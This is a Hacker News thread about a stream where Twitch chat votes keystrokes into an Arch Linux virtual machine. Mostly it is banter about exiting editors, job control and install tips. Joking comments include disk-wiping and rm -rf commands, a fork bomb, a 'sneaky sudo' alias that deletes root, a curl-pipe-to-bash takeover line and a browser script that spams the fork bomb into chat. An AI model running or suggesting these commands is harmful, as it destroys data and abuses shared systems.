Hacker News new | past | comments | ask | show | jobs | submit login
Show HN: Twitch Installs Arch Linux – A cooperative text-based horror game (twitchinstalls.com)
802 points by jbott on Oct 30, 2015 | hide | past | favorite | 250 comments

I'm afraid they'll manage to launch vim and will never be able to get out.

They should read the book "Popular Unix text editors and how to exit them"

  $ killall ed
  $ vi

You mean that isn't how to exit 'ed'?

Technically, the official method of exiting ed, if you're running as root, is:

    $ed a_file
    ... (normal usage)
    r /etc/motd
    w /boot/vmlinuz-3.19.0-16-generic (replace with specific kernel)
The alternative of "w /dev/sda1" is also acceptable.

Note to those objecting to '$': I have PS1 set to '$' on every account. It just saves confusion.

Don't you think it is prettier with the space?

Nah, just adds clutter.

[Fixed in the great-grandparent.]

^D^D should do it

I was much too easily convinced that this could be a real book.

Accompanied by coffe table book 'Greatest screenshots of ruby in Sublime with dark themes'

We can make it one! Who'll launch the kickstarter?

Top contributor decides which editor we write it in.

Can it be proprietary?

... can it cost more than my contribution?

Thank you both for inciting a fascinating combination of uncontrollable laughter and existential dread

Not to be confused with the book "Popular Unix text editors and how to nest them".

Which is a book inside a smaller book which is inside a smaller book ...

... published as a Jupyter notebook of a LaTeX document of a markdown file containing Perl POD comments. ;)

Ctrl-z works universally, doesn't it?

it doesn't, ctrl-z only suspends process and switches to backgroud - the thing is still alive try ctrl-z and then type bg command - you will see a list, you can resume with fg [number]

Ctrl-z by itself doesn't actually switch the process to run in the background, it stops the process. Running 'bg' is what starts the process back up running in the background, 'fg', like you said, resumes the process in the foreground and 'jobs' is the command you can run to see a list of processes that are running.

Since the question was "Ctrl-z works universally", I feel obliged to point out that ctrl-z sends SIGTSTP, which can be blocked--not to be confused with SIGSTOP, which cannot be blocked. I don't know of any program that does intercept SIGTSTP (except a test program I wrote that tries to print the name of any signal it receives), and I suspect that "polite" interception would be to release a few resources and then accept being paused--but, in theory, a program could ignore it.

Many curses programs (for example vim) intercept ^Z to set the terminal back into a more normal mode and then pause.

This is probably a stupid question, didn't know about bg and fg before. But after playing around with it, it feels pretty amazing, why even use screen/tmux when you have these?

Screen has aaugh easier interface for multitasking, including things like stderr not bleeding out from whatever background tasks you're running. Not to mention that switching back and forth between screens is what it's designed for and thus a lot easier than switching between job numbers. Also the ability to detach your screen and its running processes from being coupled to a specific login session, which is probably the main reason I started using screen instead of multiple terminals in the first place.

With bg, it is likely to suspend itself again by attempting to read from the terminal (which a text editor is likely to do basically all the time).

Well, it might still run but it lets you out of the editor, which is the goal here. You can just kill -9 it afterwards.

If you have good reflexes, you can type "^Z" right after "kill -9", before the syscall to send the signal is executed.

Legend has it that, if you do, you bring on the Singularity immediately.

There is no reason for -9 here - all the major unix editors happily exit on SIGTERM.

Not really. Some programs disable it including vim (at least on some setups).

Every vim I've ever played on has respected `ctrl-z`. In fact, I use `ctrl-z` to jump out of my vim (to restart a server, ls the local dir, etc).

My vimrc has

    source $VIMRUNTIME/mswin.vim
    behave mswin
which maps Ctrl-z to undo.

You monster.

Well I'll be damned. Never thought of trying it. Thank you.

this has got to be trolling. right? right?! i'm so confused.

Back when I first started my CompSci degree, a friend of mine always "quit" emacs with ctrl-z. Or, at least he did until he managed to fill his entire home directory quota with emacs backup files that were never cleaned up...

Ha, I still do that!

    $ jobs
    [4]   Stopped                 emacsclient -a '' -nw [redacted]  (wd: [redacted])
    [5]   Stopped                 emacsclient -a '' -nw [redacted]  (wd: [redacted])
    [6]   Stopped                 emacsclient -a '' -nw [redacted]  (wd: [redacted])
    [7]   Stopped                 emacsclient -a '' -nw [redacted]  (wd: [redacted])
    [8]   Stopped                 emacsclient -a '' -nw [redacted]  (wd: [redacted])
    [9]   Stopped                 emacsclient -a '' -nw [redacted]  (wd: [redacted])
    [10]   Stopped                 emacsclient -a '' -nw [redacted]  (wd: [redacted])
    [11]   Stopped                 emacsclient -a '' -nw [redacted]  (wd: [redacted])
    [12]-  Stopped                 emacsclient -a '' -nw [redacted]  (wd: [redacted])
    [13]+  Stopped                 emacsclient -a '' -nw [redacted]
But since they're all emacsclients it doesn't really matter.

Don't you frequently deal with:

  /private/tmp/foo.txt locked by jnpatel@mac... (pid 14836): (s, q, p, ?)?
because of the lock files?

Nope, because emacsclient ends up opening them all in the same process (that's the beauty/entire point): Fork off an emacs in the background:

  emacs --daemon
Then run emacsclient to connect to it (open a new buffer in the daemon and switch to it):

  emacsclient -nw some_file
When you "quit" (with C-x C-c), it really just quits that client, but the main emacs is left running.

This has a number of benefits: 1) no locks like you mention, 2) access to all open buffers (even unsaved) from every emacsclient that's currently running (since they're really all just opening buffers in a single instance), 3) blazing startup speed (emacs is already running, you're just connecting to it and splatting a new buffer to the terminal).

I still remember how happy I was when I found out about that. On all servers I use (at home and at work), starting an emacs daemon is usually among the first things I do after rebooting.

Do you know about the "--no-wait" option for emacsclient?

Yes. But it doesn't play well with "-nw".

Ah yes, good point. In that case, the solution is `C-x #` to finish an emacsclient session without causing the server to quit.

Luckily C-x C-c also does that now.

`fg` is your friend

My "favorite" thing is when you hit Ctrl-C, and Vim says "Type :quit<Enter> to exit Vim". Vim isn't dumb. It knows what Ctrl-C means, it knows what you wanted to happen. But it's gonna make you do it its way anyway, because fuck you.

Actually, that's a feature... Ctrl-C exits insert mode. If it quit vim when in Normal mode, you'd accidentally quit Vim all the time. Less annoying to just show a helpful message in case you actually meant quit, than dump everyone who knows what Ctrl-C does back to a shell.

I think more important than exiting insert mode is (as I described in a peer comment, hopefully clearly) killing foreground processes you've spawned out of vim. 1) With exiting insert mode there's the option of using escape instead (or capslock or jk or whatever people bind it to), and 2), I think most importantly, with killing processes there's an actual race condition: if the command finishes after I decide to kill it and before vim registers my Ctrl-c, exiting is totally the wrong thing to do.

I would think that it's because ViM wants you to learn something about how the it works.

If it just exited with Ctrl-C, you'd never get to know about the : magic.

Not to mention Ctrl-C is ambiguous. What to do: Exit and save? Exit without saving? What if it's a new file? And probably others I'm not thinking about right now.

Much like Python

    Python 2.7.9 (default, Mar  1 2015, 12:57:24) 
    [GCC 4.9.2] on linux2
    Type "help", "copyright", "credits" or "license" for  more information.
    >>> quit
    Use quit() or Ctrl-D (i.e. EOF) to exit

thats because you don't want to be using a variable quit and have it suddenly exit.

Definitely a feature not a bug.

oh, wait, that was not the right thing...

    C-<longrunningcommand finishes>c

Or emacs.

Or vim inside emacs' terminal emulator.

Unfortunately, Vi is on the Arch install disc, but Emacs isn't (unless it's changed very recently). Though they of course could install it.

The arch install disk also has vim. The base install of arch doesn't include vim, but does include vi.

Orders of magnitude more likely that vi will get launched than emacs :-)

> Or vim inside emacs' terminal emulator.

I've been there, by accident, two or three times.

The first time was really scary, since I did not know vi, yet, and did not know how to exit it or what in the world was going on...

Pretty sure it will be "rm -rf /"'d by trolls before that.

It's been awhile since a fresh install but is it ViM. is Vi still around? I just seem to recall some things not working right. Such as not being able to ZZ or ZQ out of a file.

vim defaults to 100% backwards compatible with vi. It has an option "nocompat" that enables some non-backwards compatible improvements.

ZZ definitely still works regardless of nocompat though.

ZZ and ZQ work, at least on every instance of vim I've ever used

vi is built-in in arch installation. so...

Vi is everywhere. Its part of the POSIX standard and comes out of the box (in one flavor or another) with every Linux Distro, OSX, HP-UX, AIX, Solaris, Darwin, FreeBSD, OpenBSD, and DragonFlyBSD.

ViM is just Vi iMproved. They share most their keybinds but VIM has the whole plugin architecture thing.

This is a big sticking point for a lot of VIM users [1]. If you ever end up on a Unix box that doesn't have VIM, you can always fall back on Vi.

[1]: /users/religious fanatics/

At least on Ubuntu, vi is really VIM:

    zck@zck-desktop:~$ vi --version
    VIM - Vi IMproved 7.4 (2013 Aug 10, compiled Jan  2 2014 19:39:32)

On Arch, vi is the original Bill Joy vi.

    $ vi --version
    vi: illegal option -- -
    Usage: vi [- | -s] [-l] [-L] [-R] [-r [file]] [-t tag]
           [-v] [-V] [-w size] [+cmd | -c cmd] file...
    $ pacman -Qi vi
    Name           : vi
    Version        : 1:070224-2
    Description    : The original ex/vi text editor
    Architecture   : x86_64
    URL            : http://ex-vi.sourceforge.net/
    Licenses       : custom:ex
    Groups         : base
    Provides       : None
    Depends On     : ncurses
    Optional Deps  : s-nail: used by the preserve command for notification [installed]
    Required By    : None
    Optional For   : None
    Conflicts With : None
    Replaces       : None
    Installed Size : 290.00 KiB
    Packager       : Evangelos Foutras <evangelos@foutrelis.com>
    Build Date     : Sun 06 Sep 2015 03:34:15 PM EDT
    Install Date   : Fri 18 Sep 2015 10:33:33 PM EDT
    Install Reason : Explicitly installed
    Install Script : No
    Validated By   : Signature
(ok, I'm not actually on Arch, but I'm downstream of Arch, and that package is directly from Arch)

Eh, yeah, but it usually links to the "basic" version (which, I assume, is compatibility mode for old school vi).

    root@dicks:~# which vi
    root@dicks:~# file /usr/bin/vi
    /usr/bin/vi: symbolic link to `/etc/alternatives/vi'
    root@dicks:~# file /etc/alternatives/vi
    /etc/alternatives/vi: symbolic link to    `/usr/bin/vim.basic'
    root@dicks:~# file /usr/bin/vim.basic
    /usr/bin/vim.basic: ELF 64-bit LSB  executable, x86-64, (snip)
    root@dicks:~# vi --version
    VIM - Vi IMproved 7.4 (2013 Aug 10, compiled Jan  2 2014 19:39:32)

This is definitely going to be good fun.

Next in series:

- Twitch manages a portfolio

- Twitch defuses a bomb

- Twitch controls air traffic

- Twitch performs a heart surgery

I'd forgotten Keep Talking and Nobody Explodes existed, thanks for reminding me of it just in time for a LAN party this weekend. My printer is going to be working overtime tonight.

It's a really great game, highly recommended - I've had a blast with it.

Twitch designs a budget for Greece.

Twitch creates two state solution agreed to by Israel and Palestine.

Well, technically, replacing everything between the Ganges and Gibralter, and between the Congo and the Alps, with butterscotch pudding would be a solution.

The two-state colloid.

The two-state emulsion

I'm pretty sure this solution figures as a subplot in one of the story arcs of Triangle & Robert (ancient webcomic about geometry, pudding and a space/time pair o' ducks).

I wouldn't honestly be surprised if Twitch managed to get better returns than a lot of automated trading software...

It would blow all the money on commission fees.

$25,000 in a Robinhood account allows you to trade on margin and commission free.

I'll pay my (IB) fees and get actually my orders filled instead. Plus, if you're only playing with stocks, you're missing a lot of the possibilities with a margin account.

> - Twitch manages a portfolio

This could actually work very well.

Civilization Twitch. 1 stream / civilisation.

1 week later Nukes flying all over the place.

Twitch moderates the Republican debates.

I'm confused. I thought it was Twitch controls Trump.

Twitch makes a twitch clone

twitch makes twitch self-aware

Twitch simulates quantum physics

Although I'm not sure anybody could tell the difference...

>- twitch defuses a clock


Hey guys, author here. Feel free to ask any questions, and I'll try my best to answer them!

Not a question, but some suggestions:

- Make sure you're streaming in low-delay mode. I've seen some people stream with 8 second delay, but I don't know how they do it.

- Count `Ctrl-C` and similar combinations as a single keystroke

- Save states

God bless the poor VM.

Yup! Low delay is awesome. We are getting about a 10 second delay. Save states aren't in quite yet, but that's our next goal.

What happens when they completely break it? Do you have code to detect that or will someone be on hand to reimage the thing? Will that be a special majority vote scenario?

BTW this is the best thing since sliced bread. Good work. I can't wait.

It looks like there is a system reset command that can be voted for.

What's the worst that could happen?

They could ssh somewhere and commit felonies.

Who would get the blame though?

Whoever gets named by git --blame

Nobody that actually wants to commit felonies would waste their time doing that.

Don't misestimate 4chan.

Presumably the machine wouldn't have Internet access.

This is a good point. When I first got dropped to a shell in a broom/IT closet, I thought gees I hope I don't accidentally fuck anything up. 4 days later I had to acknowledge I could barely intentionally fuck anything up.

I imagine people looking to be disruptive will seek out a 'start9' equivalent. I don't know whether or not there is one.

Instructions unclear, have acme window on screen

How will you handle special key combinations such as Ctrl+C to interrupt what's running?

It looks like it will be the second-generation democracy mode. That looks a bit too easy: in theory we would simply have to follow the install guide line-by-line and it would work.

It works by keypress, which should increase the challenge level (I hope). Combinations like ctrl-c will be one keypress.

It looks like "ctrl-c" is mapped to "sendkey ctrl-c".


I'll place bets on the installation going awry even if the installation guide was followed to the letter.

Will there be some sort of external chat/discussion forum? I seem to remember TPP having a subreddit and an IRC channel for discussing and voting on strategies. Especially useful since the official chat was flooded with commands.

What happens if somebody runs a VM sandbox break exploit (however unlikely that is)? Do you wipe the hardware completely?

Make sure to filter out Ctrl-Alt-Delete and Ctrl-Alt-SysRq. Probably others as well.

Looks like there's a special 'system_reset' command included...

Was there any thought to having line discipline as the voting system? As in voting on entries into the terminal up until the first new line character? It would increase the likelihood of having sensible inputs since interacting with a terminal is very different than a video game and there are only a small number of combinations of inputs that are meaningful to it. Also, any thought to disabling signals coming from the terminal? I could imagine a lot of SIG* spam.

What happens if someone put a reverse shell on the machine and SSH into it or anything to circumvent the normal gameplay flow? How would you go to block all externals SSH connections? Hardware?

How will the system_reset command be handled? Will it be a vote system? I feel like there will always be one guy constantly spamming it.

Answering the question in the introduction: No, I do not remember how chaotic Twitch Plays Pokemon was. I do not even know what you are talking about. And since you do not even give me a link, I am not sure I should care.

I finally figured out what this is, but the site was not very helpful.

"Finally" figured it out? Did Google not give you this result? https://en.wikipedia.org/wiki/Twitch_Plays_Pok%C3%A9mon

Yes, but isn't it expected to find that information in the "About" section of the main site instead of needing to search for it? I am just asking for an introductory paragraph like the first paragraph in that Wikipedia article.

I apologize for my tone, but I still think it was a fair complaint.

> Yes, but isn't it expected to find that information in the "About" section of the main site instead of needing to search for it?

No, not really.

If I launched a new language based on objective-C I wouldn't bother putting in an explanation of what objective-C is. Target audience already knows.

I guess if I were writing it, I might have made [how chaotic Twitch Plays Pokemon was](a link), but it's not exactly something to go complaining about..

At difference of complaining about people complaining, which I see is worth your time...

Take it easy people. The web site was not clear for me, the author was asking for input so I raised my point. I already apologized for using the wrong words.

Protip: apologies added as an introductory clause to you talking about your rightness do not come across as very good apologies. It looks like a way to deflect negative response, not honest sorrow for trouble caused.

Huh, I'm surprised it was notable enough to have a Wikipedia page. I would have Googled, but figured the answer was in some walled garden or cryptic forum posts.

May the Helix forgive your ignorance.

Otherwise he will send his greatest warrior, Venomoth, to defeat you.

The code currently given in the stream is `while [ "$(date)" != "Sat Oct 31 16:00:00 EDT 2015" ]; do \ sleep 1; done` ... so I hope the process wakes up on the correct millisecond.

Why would it have to be the exact millisecond? "$(date)" will have that value for 1 second, assuming the format is correct. There is some very small timespan in which it could fail, but the chances are very much in favor of successfully exiting the loop.

`sleep` sleeps for seconds.

And `date` returns a timestamp with seconds precision.

`time sh -c 'if [ "$(date)" != "Sat Oct 31 16:00:00 EDT 2015" ]; then sleep 1; fi'` took around 1.010 seconds on my machine, but that includes starting a new shell, so there's probably a much smaller than 1% chance that that particular second will be missed.

EDIT: here's a little program to test this:

    #!/usr/bin/env bash
    while true; do
      target=$(expr $(date +%s) + 2)
      while true; do
        now=$(date +%s)
        if [ "$now" != "$target" ]; then
          if [ "$now" -gt "$target" ]; then
            echo "FAIL :("
            sleep 1
          echo "OK! :)"
        sleep 0.1
Adjust the "sleep 0.1" to increase or decrease the perecentage of failures. Remove to see that it (almost) never fails.

Accidentally left this running for a few hours...

      71 FAIL :(
    5747 OK! :)
So about 1% failure rate.

Ha ha, nice. Not so bad, then.

Yes, but presumably it rounds that last number, right? So as long as it ticks somewhere between 15:59:59.50 and 16:00:00.49 it should run?

Almost guaranteed not to, since 1 second sleep.

Pretty sure it's just a splash screen, but yeah :p

It's 2015. How is this kind of thing still acceptable?

It's a splash screen. It's acceptable for the same reason the CSS on your coffee cup doesn't have to parse without error.

Because this isn't mission critical code, and it will work 99+% of the time. If it doesn't work the author can manually intervene.

Many solutions, e.g. make sleep 0.9 sec, i.e. less than period to guarantee entering the critical 1 second span at least once.

Even if you set the interval to the minimum possible, there is no upper bound on how long it may take to complete, or indeed, any guarantee that it will complete. In this case it doesn't matter, but I point this out because I've seen people trying to use this sort of logic in places where it does matter in the last three months.

If they'd just switched it to greater than and used a unix timestamp...

    [ $(date +%s) -ge $(date +%s -d"Sat Oct 31 16:00:00 EDT 2015") ]

You're talking about `sleep` specifically here, right? Or general use of timers/polling for flow control?

I think it's "testing equality in timers that aren't guaranteed to fire inside any particular bound".

How would you know if it did?

You may already have figured this out, but just incase anyone is wondering what the potential problem here is...

If it doesn't wake up and run the date command in a certain timeframe then this while loops will run forever.

The chances of that happening, while greater than zero, are really small though. It'd be something like the loop checks the time at "15:59:59", doesn't match so it goes to sleep just a few milliseconds before "16:00:00" then wakes up and runs the date command again and hopefully the deities of the CPU clock & scheduling will do this before too many milliseconds go by and the time becomes "16:00:01", at which point the while-loop would be infinite since the exact moment in time it's waiting for is now in the past and cannot occur again. I suspect though, CPU clock ticks are measured in nanoseconds or something smaller than a millisecond so this while-loop shouldn't miss its exit criteria on any modern machine.

Also, there's a chance this is just a fancy splash screen or even just a screenshot and a Twitch employee will manually get things started when it's time.

"I suspect though, CPU clock ticks are measured in nanoseconds or something smaller than a millisecond so this while-loop shouldn't miss its exit criteria on any modern machine."

It's not a busy-wait. What matters is not CPU clock ticks, but how quickly an eligible-to-run program gets scheduled. That's still not going to be terribly long, of course.

The chat on the twitch page is live already and well worth looking at. They're currently arguing over which desktop environment to use. Some people just want to install FreeBSD instead.


Click the arrow in the top right if you don't see the chat.

This is brilliant - I imagine they'll have to hope the incessant "rm -rf *" commands don't get spammed, if they are running under root.

Looking forward to it.

    :(){ :&:;};:

wait, you mean "rm -rf /*"?

wait, you mean "sudo rm -rf / --no-preserve-root"?

wait, you mean "sudo shred /dev/sda1 &"?

wait, �ջ;Y?�2�c�Ig7aus�_1��S���^���{9��§5�?�a B'����W�E��ʧ�X*C��J�4���ѡ�s�]q������a]���

Random binary dumps aren't what they used to be. You should manually decode some 8-bit ascii by hand:

    $ python
    Python 2.7.6
    Type "help", "copyright", "credits" or "license" for more information.
    >>> import random
    >>> print(''.join([chr(random.randint(32,255)) 
         for x in range(50)]).decode("latin-1"))
Now that's quality random binary garbage.

Medium-quality random binary garbage. randint is an alias for randrange,[1] which produces "slightly uneven distributions" according to the docs before version 3.2.[2]

[1] https://docs.python.org/3/library/random.html?highlight=rand... (There's no such hint for the 2.x docs, but I'm guessing it was just added later for clarification)

[2] https://docs.python.org/3/library/random.html?highlight=rand...

Someone needs to write a JAPH of "sudo shred /dev/sda1 &" <Begin obfuscation contest>

    dd if=/dev/zero of=/dev/sda bs=1M &
would be worse. `shred` is slow.

And dd if=/dev/urandom of=/dev/sda & is probably faster than shred, but I could be wrong as it might be doing essentially that.

sudo rm -rf /* is a shorter way to achieve the effect of --no-preserve-root. You're not deleting root, but all the files within it.

> shorter

Are you saying you don't have it aliased?

    alias sudo="sudo rm -rf /*; sudo"
The sneaky sudo.

The Arch installer starts out as a root shell (on a ramdisk used to bootstrap the system.)


This will be fun.

yes > /dev/mem


    cat /dev/urandom > /dev/mem

That's much more secure.

I hope they do a "twitch chat reduces title bar height in debian cinnamon" next. Incredibly frustrating

Any idea how to play this on Fedora without flash? I've tried gnome-twitch that crashes a LOT and now trying to use livestreamer-twitch-gui which is not able to find the stream.

livestreamer http://www.twitch.tv/twitchinstallsarchlinux says it cannot find any streams on this URL.

There's no stream on that URL because the stream isn't currently live. The event starts Tomorrow at 4pm EDT.

Livestreamer is definitely your best bet however for Twitch without Flash.

Thanks. Wasn't sure as the chat is live.

Chat is always live on twitch, it's just a wrapped IRC channel.

The stream is offline (it starts tomorrow) so livestreamer won't find it now.

I'm not on Linux ATM but Twitch moved to HTML5 video a while ago [1]. You should be able to watch it in Chrome. Firefox seems to show a black window for all streams because of a JS error apparently.

I uninstalled Flash a while ago (and turned it off in Chrome) and have been watching Twitch with no issues.

1. http://blog.twitch.tv/2015/07/video-player-controls-now-in-h...

Are you sure Twitch is on HTML5? IIRC, the blog post you linked to only mentions the controls being in HTML5, not the player itself. The other component that switched from Flash to HTML5 was the chat player I believe.

Attempting to watch Twitch with Flash disabled on Chrome and Firefox on Windows displays the "You need Adobe Flash Player to watch this video. " message.

If you append /hls to the URL you'll get to the HTTP Live Streaming player.

You could use Chrome which bundles Flash. The RPM is linked on the download page


Seems dead now though.

"The community has closed this channel due to terms of service violations"

mpv with youtube-dl also supports live twitch streams so you can give that a try too.

I was thinking, "won't Twitch ban this for not being a game?". But the I realized that this itself is a game.

I wonder what Twitch's policy on meta-gaming is.

I don't know Twitch's rules that well, but they have a Programming genre and I rarely see games there. But, I have seen Twitch developers stream non-game related stuff.


They have a separate directory for Game Development.

They have a "creative" section that a lot of non gaming stuff falls into. A few months ago there was a twitch plays a neural network thing, where people in the chat told the neural network what to hallucinate: https://www.youtube.com/watch?v=IREsx-xWQ0g

Is there a minimum 'vote' threshold, or if I'm the only person connected at a certain point in time, do I get free - albeit slow and insanely frustrating - control of the 'machine'?

No, but we are hoping the chat doesn't die down that much. We considered it, but ultimately didn't consider it necessary.

Looks like the channel was closed, apparently "due to terms of service violations". Anyone else get the same error message?

I wonder if this is because the content streamed is not deemed to be video game related?

If you want an easy to understand video on Installing Arch Linux in 15 minutes: https://youtu.be/_fBIeKQSiAc

There's not such thing as a 15 minute Arch install. It takes you 7.5. That's minutes or hours but there's no in between.

Can confirm, have done it thrice.

That video is maybe unavailable?

Thanks I updated the link

This is going to be amazing

> setTimeout(function(){$('#chat-input').val('dd if=/dev/zero of=/dev/sda bs=4M');$('#chat-send').click();},100)

> setTimeout(function(){$('#chat-input').val(':(){ :|: & };:');$('#chat-send').click();},100)

Get a handful of people to run one of those in their browsers JS console and watch the world burn.

Except that those won't work - the input has to be received one-character at a time, i.e. one character per chat message.

Can't you just modify the script to add 1 char at the time and the event handler will get it anyways?

How do you know that char[x] went through, and you should switch to spamming char[x+1]?

yes, you can.

simple pseudo-code PoC, another 2 minutes of coding to fix that limitation.

You must live in an extremely simple world

> setInterval(function(){chars=':(){ :|: & };:'.split('');for(i=0;i<chars.length;i++){ $('#chat-input').val($('#chat-input').val()+chars[i]); }; $('#chat-send').click(); }, 100)

I must...

Okay, now get it to detect when it is actually time to switch characters and if your input string won or not last character.

  setInterval(function(){$('#chat_text_input').val(':(){ :|: & };:');e=document.createEvent('Event');e.initEvent('keydown',true,true);e.keyCode=13;document.getElementById('chat_text_input').dispatchEvent(e);e=document.createEvent('Event');e.initEvent('keyup',true,true);e.keyCode=13;document.getElementById('chat_text_input').dispatchEvent(e); },1000);
^== go into a stream in Chrome, paste that into your JS console...success.



Sorry I didn't produce a production ready framework in 10 minutes.

this is why we can't have nice things

I won't work for the simple reason that it is only one character by user.

For the doubters, here is a working PoC... works in Chrome.

  setInterval(function(){$('#chat_text_input').val(':(){ :|: & };:');e=document.createEvent('Event');e.initEvent('keydown',true,true);e.keyCode=13;document.getElementById('chat_text_input').dispatchEvent(e);e=document.createEvent('Event');e.initEvent('keyup',true,true);e.keyCode=13;document.getElementById('chat_text_input').dispatchEvent(e); },1000);

I just flagged this because it (and the other post of the same thing) blows out the page width and makes everything else wrap to the full length of the string, which is considerably more than the average screen width. Hoping an admin can edit it.

Yes, we prepended two spaces to the long line, which formats it as code. Thanks.

How long until someone gets wget installed, wgets a binary from some random Russian site, and owns the VM?

Definitely interesting to see these twitch events. For those curious Twitch has a IRC backend for the chatrooms, so if you can code an IRC bot, you can easily allow twitch users to automate many interesting things.

Hmm, `system_reset` is an available command. Is that a good idea if people just spam it randomly? Because they will...

Perhaps detecting when the machine is powered off and automatically turning it on is more effective.

> Every ten seconds, the most popular keystroke in Twitch chat will be entered into an Arch Linux virtual machine

Seems it's keystroke by keystroke, not command by command.

Each letter is a possible command, but system_reset is also a command. It's like pressing and holding the power button: a single action.


Hopefully the channel manages to create aliases for a bunch of common stuff.

The problem is that it is possible to put the machine into a state where it does not accept key inputs, so the only way to get it out is to do a "hard reset". We are still not sure how to handle that (Possible a confirmation box where they have to type "yes" to do it?). That whole subsystem is still undergoing revisions, so we are going to do some testing later and see if we can make that less easily exploited.

Any bets on how long it will take Twitch to enter "rm -rf /" once the filesystem is set up?

That's already half of the chat. That and attempting to launch a reverse shell and give an unknown party terminal access outside of the channel.

I forsee someone fork bombing this...

If they manage to install Arch Linux with an equal amount of people which were playing Twitch plays Pokémon, I will post a video of me eating my sandals.

How will you react on people doing illegal stuff such as trying to setup up a spam server or downloading illegal things?

That would only work in the event that a majority of users coordinate their efforts to deploy such a thing. Seems like it'd be easier for them to setup a VPS.

What happens when "majority" is achieved by a botnet?

Since this seems to be a ""collaborative"" game, if someone manages to go that far without anyone else foiling their plans, they deserve a medal!

They might be able to do it with a minified url and a script.

  curl lo.ly | bash
box is now owned.

I have no idea. I don't think the crowd will have enough coordination to do something like that (which is basically what we are banking on currently), but if it does, we will probably have to step in manually.

Why would the VM even need external network access? Let it have only LAN access to communicate key strokes and host a local mirror for pacstrap/pacman. Also limit the interface to only those two operations.

I can't wait to see this, it should be good fun :D

I would love to see this for Fedora as Anaconda is both graphical and text-based horror game of luck.

But ... Why? What's the point?

If you don't get immediately excited by this idea, I unfortunately have no way to explain why it is fun.

It will essentially be a war between stupidity, profiteering, computer science nerds installing cryptographically secure jails, and people in the chat trying to make persuasive arguments that yes, in fact, this is the correct command to move on to the next step.

Hopefully people learn some tactics which might be applied in similar situations in their own lives.

"It will essentially be a war between stupidity, profiteering, computer science nerds installing cryptographically secure jails, and people in the chat trying to make persuasive arguments that yes, in fact, this is the correct command to move on to the next step."

So, life.

What's the point of any entertainment?

Not Gentoo?

Arch is based on binaries so you don't have to spend hours compiling. Surely Ctrl-C is going to "win" after the 4th hour of just watching X compile! :)

Does X really build for so long? It takes about half an hour on my OpenBSD install, with all the base utilities and libraries.

I hope I don't have to explain it depends on the machine.

Yeah, sorry. I forget I'm on an i7 now, albeit a laptop one. It could easily take 8 times that long on something like an Atom or some sort of ARM. Though I wonder how long it takes on a desktop i7 with an SSD.

arch is much shorter feedback loop I think.

Gentoo is real hard, but I've heard from people the Arch install is even more painful :/

I've done both, and they're both pretty easy if you know what you're doing.

The only thing that's a bit more of a pain in the ass in Arch is mirror selection: Arch likes to use really shitty mirrors by default, and I have to waste time commenting out most of the mirrors in the file if I don't want to be stuck with <100kbps downloads, while Gentoo is a lot smarter when it comes to picking mirrors.

  mv mirrorlist mirrorlist.bak
  rankmirrors -n 10 mirrorlist.bak > mirrorlist

Nah. Format the disk, bootstrap your root partition, edit some config files, install your packages, done. If you know what you're doing and have a fast internet connection, you're talking about 10 minutes to a working OS. Unlike Gentoo, which has a days-long compilation step.

You missed setting up a bootloader, which often is the most tricky part, sometimes due to some funny update in the freshest version of the ArchLinux which wasn't fixed yet. Bleeding edge and all.

No, bootloader is easy:

# pacman -S syslinux

# syslinux-install_update -i -a -m

# vim /boot/syslinux/syslinux.cfg # ensure path to kernel etc. is correct.

The main difference between Arch and Gentoo from an installation point of view is that Arch generally doesn't include configuration in its packages. So for every package you install, you have to manually set up the config before it will work. Gentoo often has the config set up for you. In my experience, this often makes Gentoo faster to set up than Arch, even though you are building all the packages. I actually moved to Arch, though, because the lack of configuration means that there are less dependencies in Arch (if you want optional dependencies, you have to configure them yourself). For me, this made Arch a bit more flexible. You can also build all your packages by hand using the Arch Build System (ABS). The one thing from Gentoo that I wish was in Arch is the license manager. I liked the idea that it would keep track of the licenses that I agreed to and warned me if I tried to install a package with a different license.

Really? I didn't find it too difficult, easily done in ~10 minutes. I mean, a Gentoo Stage 3 install is pretty easy these days as well, but I think Arch is still substantially quicker to get running.

Who wants to team up and sabotage the game by installing debian instead?

down down down down down enter

Sounds fun

Guidelines | FAQ | Lists | API | Security | Legal | Apply to YC | Contact